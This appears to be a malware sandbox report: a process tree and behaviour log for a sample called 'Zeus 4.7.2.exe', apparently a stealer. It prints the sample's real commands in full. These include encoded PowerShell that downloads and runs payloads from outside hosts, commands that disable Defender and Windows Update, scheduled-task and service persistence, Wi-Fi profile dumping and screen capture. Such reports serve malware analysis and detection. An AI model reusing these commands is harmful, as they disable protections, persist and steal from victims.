PID 3248 wrote to memory of 4880	3248	lyg4vpdr.tli0.exe	98
PID 724 wrote to memory of 1824	724	powershell.exe	100
PID 724 wrote to memory of 1824	724	powershell.exe	100
PID 4880 wrote to memory of 2360	4880	cmd.exe	103
PID 4880 wrote to memory of 2360	4880	cmd.exe	103
PID 724 wrote to memory of 4364	724	powershell.exe	102
PID 724 wrote to memory of 4364	724	powershell.exe	102
PID 4880 wrote to memory of 2012	4880	cmd.exe	105
PID 4880 wrote to memory of 2012	4880	cmd.exe	105
PID 4364 wrote to memory of 3008	4364	lyg4vpdr.tli3.exe	106
PID 4364 wrote to memory of 3008	4364	lyg4vpdr.tli3.exe	106
PID 4880 wrote to memory of 2912	4880	cmd.exe	107
PID 4880 wrote to memory of 2912	4880	cmd.exe	107
PID 4880 wrote to memory of 2964	4880	cmd.exe	132
PID 4880 wrote to memory of 2964	4880	cmd.exe	132
PID 4880 wrote to memory of 4416	4880	cmd.exe	109
PID 4880 wrote to memory of 4416	4880	cmd.exe	109
PID 4364 wrote to memory of 3716	4364	lyg4vpdr.tli3.exe	111
PID 4364 wrote to memory of 3716	4364	lyg4vpdr.tli3.exe	111
PID 4880 wrote to memory of 4788	4880	cmd.exe	133
PID 4880 wrote to memory of 4788	4880	cmd.exe	133
PID 4880 wrote to memory of 1712	4880	cmd.exe	113
PID 4880 wrote to memory of 1712	4880	cmd.exe	113
PID 1712 wrote to memory of 2316	1712	cmd.exe	114
PID 1712 wrote to memory of 2316	1712	cmd.exe	114
PID 4880 wrote to memory of 1720	4880	cmd.exe	115
PID 4880 wrote to memory of 1720	4880	cmd.exe	115
PID 1720 wrote to memory of 1748	1720	cmd.exe	116
PID 1720 wrote to memory of 1748	1720	cmd.exe	116
PID 4880 wrote to memory of 4484	4880	cmd.exe	117
PID 4880 wrote to memory of 4484	4880	cmd.exe	117
PID 4364 wrote to memory of 2008	4364	lyg4vpdr.tli3.exe	118
PID 4364 wrote to memory of 2008	4364	lyg4vpdr.tli3.exe	118
PID 4364 wrote to memory of 3776	4364	lyg4vpdr.tli3.exe	119
PID 4364 wrote to memory of 3776	4364	lyg4vpdr.tli3.exe	119
PID 4364 wrote to memory of 1196	4364	lyg4vpdr.tli3.exe	120
PID 4364 wrote to memory of 1196	4364	lyg4vpdr.tli3.exe	120
PID 4364 wrote to memory of 2432	4364	lyg4vpdr.tli3.exe	121
PID 4364 wrote to memory of 2432	4364	lyg4vpdr.tli3.exe	121
PID 4364 wrote to memory of 2596	4364	lyg4vpdr.tli3.exe	122
PID 4364 wrote to memory of 2596	4364	lyg4vpdr.tli3.exe	122
PID 4364 wrote to memory of 4556	4364	lyg4vpdr.tli3.exe	123
PID 4364 wrote to memory of 4556	4364	lyg4vpdr.tli3.exe	123
PID 4364 wrote to memory of 2000	4364	lyg4vpdr.tli3.exe	124
PID 4364 wrote to memory of 2000	4364	lyg4vpdr.tli3.exe	124
PID 4364 wrote to memory of 2780	4364	lyg4vpdr.tli3.exe	125
PID 4364 wrote to memory of 2780	4364	lyg4vpdr.tli3.exe	125
PID 4364 wrote to memory of 1052	4364	lyg4vpdr.tli3.exe	126

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3008	attrib.exe
3716	attrib.exe
1052	attrib.exe
3244	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:388

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:428

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1160
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2824

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1416
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2544
- - C:\Windows\SysWOW64\dialer.exe
    "C:\Windows\system32\dialer.exe"
    3⤵
    PID:2628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2080

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2108

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2816

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2856

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3456

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3532
- C:\Users\Admin\AppData\Local\Temp\Zeus 4.7.2.exe
  "C:\Users\Admin\AppData\Local\Temp\Zeus 4.7.2.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdwB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAbABlACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAdABmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAZgBoACMAPgA="
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3800
- - C:\Users\Admin\HadesHex-GUI.exe
    "C:\Users\Admin\HadesHex-GUI.exe"
    3⤵
    - Executes dropped EXE
    PID:1564
- - C:\Users\Admin\AppData\Roaming\explorer.exe
    "C:\Users\Admin\AppData\Roaming\explorer.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:724
    - - C:\Users\Admin\AppData\Roaming\lyg4vpdr.tli0.exe
        
        "C:\Users\Admin\AppData\Roaming\lyg4vpdr.tli0.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3248
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4BFD.tmp\4BFE.tmp\4BFF.bat C:\Users\Admin\AppData\Roaming\lyg4vpdr.tli0.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4880
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2776
        
        C:\Windows\system32\chcp.com
        
        chcp 1251
        7⤵
        
        PID:2360
        
        C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        7⤵
        
        PID:2012
        
        C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        7⤵
        
        PID:2912
        
        C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        7⤵
        
        PID:2964
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        7⤵
        
        PID:4416
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
        7⤵
        Creates scheduled task(s)
        
        PID:4788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1712
        
        C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        8⤵
        
        PID:2316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1720
        
        C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        8⤵
        
        PID:1748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/43g34g34g34/34g34g34g34g/raw/e946dd91d069dd0a14070ddbc4920354650bd041/lem.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4484
    - - C:\Users\Admin\AppData\Roaming\lyg4vpdr.tli1.exe
        
        "C:\Users\Admin\AppData\Roaming\lyg4vpdr.tli1.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        
        PID:1320
    - - C:\Users\Admin\AppData\Roaming\lyg4vpdr.tli2.exe
        
        "C:\Users\Admin\AppData\Roaming\lyg4vpdr.tli2.exe"
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        
        PID:1824
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3636
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:680
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:4988
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:2980
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:1052
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:4424
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:4668
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        
        PID:1544
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        
        PID:4892
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        
        PID:2956
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        
        PID:4456
      - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        6⤵
        
        PID:4268
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "AAWUFTXN"
        6⤵
        Launches sc.exe
        
        PID:1128
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "AAWUFTXN" binpath= "C:\ProgramData\acspebqjhjkn\gjouiuwovvdx.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:4768
    - - C:\Users\Admin\AppData\Roaming\lyg4vpdr.tli3.exe
        
        "C:\Users\Admin\AppData\Roaming\lyg4vpdr.tli3.exe"
        5⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Adds Run key to start application
        Maps connected drives based on registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4364
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4532
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Roaming\lyg4vpdr.tli3.exe
        6⤵
        Views/modifies file attributes
        
        PID:3008
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        6⤵
        Views/modifies file attributes
        
        PID:3716
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic csproduct get UUID
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2008
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        Suspicious use of AdjustPrivilegeToken
        
        PID:3776
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic os get Caption
        6⤵
        
        PID:1196
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\lyg4vpdr.tli3.exe
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2432
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic cpu get Name
        6⤵
        
        PID:2596
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:4556
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2000
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic csproduct get UUID
        6⤵
        
        PID:2780
      - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:1052
      - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:3244
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        
        PID:2332
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1168
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r2keteku\r2keteku.cmdline"
        7⤵
        
        PID:980
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
